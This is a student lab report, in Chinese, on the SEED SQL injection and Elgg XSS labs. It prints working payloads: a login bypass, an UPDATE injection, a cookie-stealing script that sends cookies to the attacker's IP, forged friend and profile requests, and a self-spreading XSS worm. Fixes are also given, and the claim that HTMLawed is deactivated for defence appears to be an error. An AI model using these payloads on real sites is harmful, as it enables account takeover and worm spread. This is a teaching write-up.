1. 程式人生 > 其它 >20212813 2021-2022-2 《網路攻防實踐》實踐十報告

20212813 2021-2022-2 《網路攻防實踐》實踐十報告

一、實踐內容

Web 應用程式(Web Application)是一種使用瀏覽器在網際網路或企業內部網上進行訪問操作的應用軟體形態,通常以瀏覽器支援的語言(如 JavaScript 等指令碼語言及 HTML 等渲染標記語言)所編寫,或能夠在瀏覽器控制的環境中執行(如 Java Applet),依賴於瀏覽器來對應用程式進行渲染與執行。web體系結構的整體架構如下圖所示:


Web應用體系結構中面臨的安全威脅有:

  • 針對瀏覽器和終端使用者的Web瀏覽安全威脅。具體包括以瀏覽器滲透攻擊為核心的網頁木馬,Phishing 網站釣魚等。
  • 針對傳輸網路的網路協議安全威脅。如針對HTTP明文傳輸協議的敏感資訊監聽,在網路層、傳輸層和應用層都存在的假冒身份攻擊,以及拒絕服務攻擊等。
  • 系統層安全威脅。Web站點的宿主作業系統,如 Windows Server、Linux 等,存在著遠端滲透攻擊和本地滲透攻擊威脅。
  • Web伺服器軟體安全威脅。Web伺服器軟體如IIS、Apache作為一種典型的網路服務,也不可避免地存在著安全漏洞與弱點,攻擊者可以利用這些漏洞對Web伺服器實施滲透攻擊,或者獲取敏感資訊。
  • Web 應用程式安全威脅。程式設計師在使用 ASP、PHP 等指令碼程式語言實現 Web 應用程式時,由於缺乏安全意識或有著不良的程式設計習慣,最終導致Web應用程式出現安全漏洞,從而被攻擊者滲透利用,包括SQL注入攻擊、XSS跨站指令碼攻擊等。
  • Web 資料安全威脅。Web 站點中在Web應用程式後臺儲存的關鍵資料內容,以及Web客戶輸入的資料內容,存在著被竊取、篡改及輸入不良資訊等威脅。

本次實驗涉及到的兩種攻擊方式為:

1、SQL注入

SQL注入即是指web應用程式對使用者輸入資料的合法性沒有判斷或過濾不嚴,攻擊者可以在web應用程式中事先定義好的查詢語句的結尾上新增額外的SQL語句,在管理員不知情的情況下實現非法操作,以此來實現欺騙資料庫伺服器執行非授權的任意查詢,從而進一步得到相應的資料資訊。
SQL注入攻擊步驟和過程主要為:

  • SQL注入點探測。探測SQL注入點是關鍵的一步,通過適當的分析應用程式,可以判斷什麼地方存在SQL注入點。
  • 收集後臺資料庫資訊。不同資料庫的注入方法、函式都不盡相同,因此在注入之前,我們先要判斷一下資料庫的型別。
  • 猜解使用者名稱和密碼。資料庫中的表和欄位命名一般都是有規律的。通過構造特殊SQL語句在資料庫中依次猜解出表名、欄位名、欄位數、使用者名稱和密碼。
  • 查詢Web後臺管理入口。WEB後臺管理通常不對普通使用者開放,要找到後臺管理的登入網址,可以利用Web目錄掃描工具(如:wwwscan、AWVS)快速搜尋到可能的登入地址,然後逐一嘗試,便可以找到後臺管理平臺的登入網址。
  • 入侵和破壞。一般後臺管理具有較高許可權和較多的功能,使用前面已破譯的使用者名稱、密碼成功登入後臺管理平臺後,就可以任意進行破壞,比如上傳木馬、篡改網頁、修改和竊取資訊等,還可以進一步提權,入侵Web伺服器和資料庫伺服器。
    SQL注入攻擊防範措施:
  • 使用型別安全的引數編碼機制
  • 凡是來自外部的使用者輸入,必須進行完備檢查
  • 將動態SQL語句替換為儲存過程、預編譯SQL或ADO命令物件
  • 加強SQL資料庫伺服器的配置與連線

2、XSS跨站指令碼攻擊

跨站指令碼攻擊指利用網站漏洞從使用者那裡惡意盜取資訊。使用者在瀏覽網站、使用即時通訊軟體、甚至在閱讀電子郵件時,通常會點選其中的連結。攻擊者通過在連結中插入惡意程式碼,就能夠盜取使用者資訊。
XSS攻擊型別:

  • 持久型XSS攻擊,最直接的危害型別,跨站程式碼儲存在伺服器。
  • XSS反射型攻擊,最普遍的型別。惡意程式碼並沒有儲存在目標網站,通過引誘使用者點選一個連結到目標網站的惡意連結來實施攻擊的。

XSS攻擊防範措施 :

  • 輸入驗證:某個資料被接受為可被顯示或儲存之前,使用標準輸入驗證機制,驗證所有輸入資料的長度、型別、語法以及業務規則。
  • 輸出編碼:資料輸出前,確保使用者提交的資料已被正確進行entity編碼,建議對所有字元進行編碼而不僅侷限於某個子集。
  • 明確指定輸出的編碼方式:不要允許攻擊者為你的使用者選擇編碼方式(如ISO 8859-1或 UTF 8)。
  • 注意黑名單驗證方式的侷限性:僅僅查詢或替換一些字元(如"<" ">"或類似"script"的關鍵字),很容易被XSS變種攻擊繞過驗證機制。
  • 警惕規範化錯誤:驗證輸入之前,必須進行解碼及規範化以符合應用程式當前的內部表示方法。請確定應用程式對同一輸入不做兩次解碼。

二、實踐過程

(一)SEED SQL注入攻擊與防禦實驗

我們已經建立了一個Web應用程式,並將其託管在www.SEEDLabSQLInjection.com。該Web應用程式是一個簡單的員工管理應用程式。員工可以通過此Web應用程式檢視和更新資料庫中的個人資訊。此Web應用程式主要有兩個角色:管理員是特權角色,可以管理每個員工的個人資料資訊。員工是一般角色,可以檢視或更新自己的個人資料資訊。完成以下任務:

  • 熟悉SQL語句: 我們已經建立了一個名為Users的資料庫,其中包含一個名為creditential的表。該表儲存了每個員工的個人資訊(例如,eid,密碼,薪水,ssn等)。在此任務中,您需要使用資料庫來熟悉SQL查詢。
    
  • 對SELECT語句的SQL注入攻擊:上述Web應用存在SQL輸入漏洞,任務是在不知道密碼的情況下登陸該Web應用程式。
    
  • 對UPDATE語句的SQL注入攻擊:通過員工的更新個人介面實施UPDATE語句的SQL注入攻擊。
    
  • SQL對抗:修復上述SQL注入攻擊漏洞。
    

1、熟悉SQL語句

在進行實驗之前,首先使用命令sudo service apache2 start開啟apache服務,可以使用sudo service apache2 status檢視執行狀態,同時檢視Firefox瀏覽器是否已經添加了外掛HTTP Header Live

開啟終端,使用命令mysql -u root -p登入mysql資料庫,使用命令show databases;檢視已有的資料庫,注意不要忘記;:

使用命令use Users;切換到Users資料庫,之後使用命令show tables;檢視Users資料庫中的所有的表,使用select * from credential;sql語句可以查詢該表中的所有記錄:

使用select * from credential where Name = 'Alice';sql語句可以進行條件查詢,查詢Name為Alice的所有記錄:

2、對SELECT語句的SQL注入攻擊

開啟瀏覽器,輸入網址http://www.seedlabsqlinjection.com/,在/var/www/SQLInjection/目錄下可以找到unsafe_home頁面的原始碼,使用sudo vim /var/www/SQLInjection/unsafe_home.php檢視,可以找到sql語句$sql = "SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password FROM credential WHERE name= ’$input_uname’ and Password=’$hashed_pwd’";,在後面的條件中,如果我們構造的$input_uname輸入值為Admin'#,則發現,因為#在sql語句中代表註釋,則#之後的Password判斷不會執行,則可以實現在不知道密碼的情況下登陸該Web應用程式:

如下圖所示,USERNAME輸入Admin'#,PASSWORD保持空值,可以直接進行登入:


HTTP Header Live中可以檢視到發起的請求,%23代表#

3、對UPDATE語句的SQL注入攻擊

首先,我們開啟Edit_Profile頁面的原始碼,可以看到Select查詢語句,之後點選SAVE按鈕後向unsafe_edit_backend_php以GET方法傳送了一個表單,因此我們去檢視unsafe_edit_backend_php的原始碼:

unsafe_edit_backend_php中我們可以找到UPDATE更新語句,且存在SQL注入攻擊漏洞,當我們構造$input_nickname的輸入為', Salary='2813' where name='Admin'; #時,那麼SQL語句便會將Admin的Salary更改為2813,實現通過員工的更新個人介面實施UPDATE語句的SQL注入攻擊。


攻擊前後的截圖如下:

攻擊時,通過使用HTTP Header Live可以看到實際發起的請求:

4、修復上述SQL注入攻擊漏洞

SQL注入漏洞的根本問題是無法將程式碼與資料分離,因為,防禦SQL注入攻擊最安全的方法是使用預處理語句,將SQL語句模板化,以此讓程式明確知道哪一部分是輸入引數,哪一部分是需要執行的動作或條件。
unsafe_home.php的原始碼中,將原來的SELECT語句修改為:
$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password FROM credential WHERE name= ? and Password= ?");
$sql->bind_param("ss", $input_uname, $hashed_pwd);

再次進行SQL注入攻擊可以看到,攻擊失敗:

unsafe_edit_backend.php的原始碼中,將原來的UPDATE語句修改為:
$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;");
$sql->bind_param("ssss", $input_nickname, $input_email,$input_address, $input_phonenumber);

再次進行SQL注入攻擊可以看到,攻擊失敗:

(二)SEED XSS跨站指令碼攻擊實驗(Elgg)

為了演示攻擊者可以利用XSS漏洞做什麼,我們在預先構建的Ubuntu VM映像中設定了一個名為Elgg的Web應用程式。在本實驗中,學生需要利用此漏洞對經過修改的Elgg發起XSS攻擊,攻擊的最終目的是在使用者之間傳播XSS蠕蟲,這樣,無論是誰檢視的受感染使用者個人資料都將被感染。

  • 釋出惡意訊息,顯示警報視窗:在您的Elgg配置檔案中嵌入一個JavaScript程式,以便當另一個使用者檢視您的配置檔案時,將執行JavaScript程式並顯示一個警報視窗。
    
  • 彈窗顯示cookie資訊:將cookie資訊顯示。
    
  • 竊取受害者的cookies:將cookie傳送給攻擊者。
    
  • 成為受害者的朋友:使用js程式加受害者為朋友,無需受害者干預,使用相關的工具瞭解Elgg加好友的過程。
    
  • 修改受害者的資訊:使用js程式使得受害者在訪問Alice的頁面時,資料無需干預卻被修改。
    
  • 編寫XSS蠕蟲。
    
  • 對抗XSS攻擊。
    

Web應用程式中的部分使用者資訊為:

UserName Password
Admin seedelgg
Alice seedalice
Boby seedboby
Charlie seedcharlie
Samy seedsamy

在SEED Ubuntu的瀏覽器中進入http://www.xsslabelgg.com

1、釋出惡意訊息,顯示警報視窗

首先使用Alice賬戶進行登入:

點選Alice頭像進入主頁->Edit profile->Brief description中輸入XSS攻擊程式碼<script> alert('xss');</script>

然後點選Save,可以看到彈出警報視窗:

2、彈窗顯示cookie資訊

在Alice的Brief description中輸入XSS攻擊程式碼<script> alert(document.cookie);</script>


然後點選Save,可以看到彈出視窗顯示cookie資訊:

3、竊取受害者的cookies

上一個實驗的XSS攻擊獲取cookie僅僅彈到了窗口裡,本次實驗需要將cookie傳送給攻擊者。本次使用的攻擊程式碼為<script>document.write('<img src=http://192.168.31.81:2813?c='+escape(document.cookie) + ' >');</script>,其中192.168.31.81是本機IP,2813是任意沒有被佔用的埠,該攻擊程式碼將受害者(Boby)的cookie放入一個請求,然後向攻擊者(Alice)傳送。在Alice的Brief description中輸入該程式碼:

登入Boby的賬號:

使用nc -l 2813 -v監聽埠,然後使用Boby的賬號訪問Alice的主頁,可以收到以下請求,其中包含了Boby的cookie:

4、成為受害者的朋友

在XSS攻擊之前,我們通過簡單測試獲取新增好友需要傳送的命令。在Alice賬號中找到More->Members,點選Boby的頭像,開啟HTTP Header Live,然後點選Add Friend,檢視傳送的資料:

從上圖中可以得到如下的資訊:

  • 請求的方式是POST
  • 請求的地址是http://www.xsslabelgg.com/action/friends/add
  • 請求地址的第一個引數是friend=
  • 請求地址的第二個引數是&__elgg_ts=
  • 請求地址的第三個引數是&__elgg_token=

因此構建的XXS攻擊程式碼如下:

<script type="text/javascript">
window.onload = function () {
    var Ajax=null;
    var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
    var token="&__elgg_token="+elgg.security.token.__elgg_token;


    //Construct the HTTP request to add Samy as a friend.
    var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token;

    //Create and send Ajax request to add friend
    Ajax=new XMLHttpRequest();
    Ajax.open("GET",sendurl,true);
    Ajax.setRequestHeader("Host","www.xsslabelgg.com");
    Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
    Ajax.send();
}
</script>

該段程式碼首先獲取訪問者的__elgg_ts和__elgg_token,然後按照新增好友請求的方式構建了請求url,使用GET請求方法,通過send函式傳送請求。將該段程式碼放到Alice的About me下,使用Edit HTML模式,然後點選Save:


然後登陸Boby賬號,開啟HTTP Header Live,訪問Alice的主頁,可以捕獲到新增好友的請求:

之後可以看到Boby已經添加了Alice為好友:

5、修改受害者的資訊

在攻擊之前,先簡單將Alice的About me修改為20212813ZZX,並使用HTTP Header Live捕獲資料包,檢視傳送的資料:

從上圖中可以得到如下的資訊:

  • 請求的方式是POST
  • 請求的地址是http://www.xsslabelgg.com/action/profile/edit
  • POST提交的資料分別為:__elgg_token__elgg_tsnamedescription

使用的XSS攻擊程式碼為:

<script type="text/javascript">
	window.onload = function(){
		//JavaScript code to access user name, user guid, Time Stamp __elgg_ts
		//and Security Token __elgg_token
		var userName=elgg.session.user.name;
		var guid="&guid="+elgg.session.user.guid;
		var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
		var token="&__elgg_token="+elgg.security.token.__elgg_token;

		//Construct the content of your url.
		var content= token + ts + "name=" + userName + "&description=<p>this had been changed by xss attack.</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
		var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
		alert(content)
		//FILL IN
		var samyGuid=44;
		//FILL IN
		if(elgg.session.user.guid!=samyGuid)
		{
			//Create and send Ajax request to modify profile
			var Ajax=null;
			Ajax=new XMLHttpRequest();
			Ajax.open("POST",sendurl,true);
			Ajax.setRequestHeader("Host","www.xsslabelgg.com");
			Ajax.setRequestHeader("Content-Type",
			"application/x-www-form-urlencoded");
			Ajax.send(content);
		}
	}
</script>

該段程式碼首先獲取訪問者的__elgg_ts、__elgg_token和頁面的其他資訊,然後按照相應方式構建了請求url,使用POST請求方法,通過send函式傳送請求。將該段程式碼放到Alice的About me下,使用Edit HTML模式,然後點選Save:

然後登陸Boby賬號,開啟HTTP Header Live,訪問Alice的主頁,可以捕獲到修改About me的請求:

可以看到Boby的About me已經被修改:

6、編寫XSS蠕蟲

之前使用的XSS攻擊程式碼只能攻擊,但是不具有傳播性,因此我們使用以下XSS蠕蟲程式碼:

<script id="worm" type="text/javascript">
	window.onload = function(){
		var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
		var jsCode = document.getElementById("worm").innerHTML;
		var tailTag = "</" + "script>"; 
		var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);

		var userName=elgg.session.user.name;
		var guid="&guid="+elgg.session.user.guid;
		var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
		var token="&__elgg_token="+elgg.security.token.__elgg_token;

		//Construct the content of your url.
		var content= token + ts + "&name=" + userName + "&description=<p>this page had been changed by xss attack  "+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
		var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
		alert(content)

		var samyGuid=44;

		if(elgg.session.user.guid!=samyGuid)
		{
			var Ajax=null;
			Ajax=new XMLHttpRequest();
			Ajax.open("POST",sendurl,true);
			Ajax.setRequestHeader("Host","www.xsslabelgg.com");
			Ajax.setRequestHeader("Content-Type",
			"application/x-www-form-urlencoded");
			Ajax.send(content);
		}
		
	}
</script>

將上述程式碼放到Alice的About me中,點選Save:

登陸Boby賬號,訪問Alice的主頁之後可以看到Boby的主頁被感染了該蠕蟲:


7、對抗XSS攻擊

可以使用內建的安全外掛HTMLawed禁止部分程式碼塊的執行。登入Admin賬號,點選Account->Administrator->plugins,找到外掛HTMLawed,並使其Deactivate。這個外掛的主要作用是對使用者的輸入輸出進行校驗並且去除特定標籤。

之後再次進行XSS攻擊測試,可以發現均已無效:

三、學習中遇到的問題及解決

  • 問題1:新版SEED Ubuntu沒有環境
  • 問題1解決方案:
    最新版SEED VM可以在這裡下載
    下載之後得到的是一個.vdi檔案,可以參考這篇部落格將vdi檔案轉化為vmdk,然後在VMware裡進行安裝。

    但是安裝好之後發現新版SEED Ubuntu中沒有安裝好可以用來直接進行實驗的環境,因此只能使用舊版本的SEED Ubuntu。

四、實踐總結

本次實踐動手操作了SQL注入和XSS攻擊,基本瞭解了這兩種攻擊的原理,操作步驟,可能造成的危害以及一般防範方式,這對於提高網路攻防技能以及更好的開發WEB應用打下了基礎。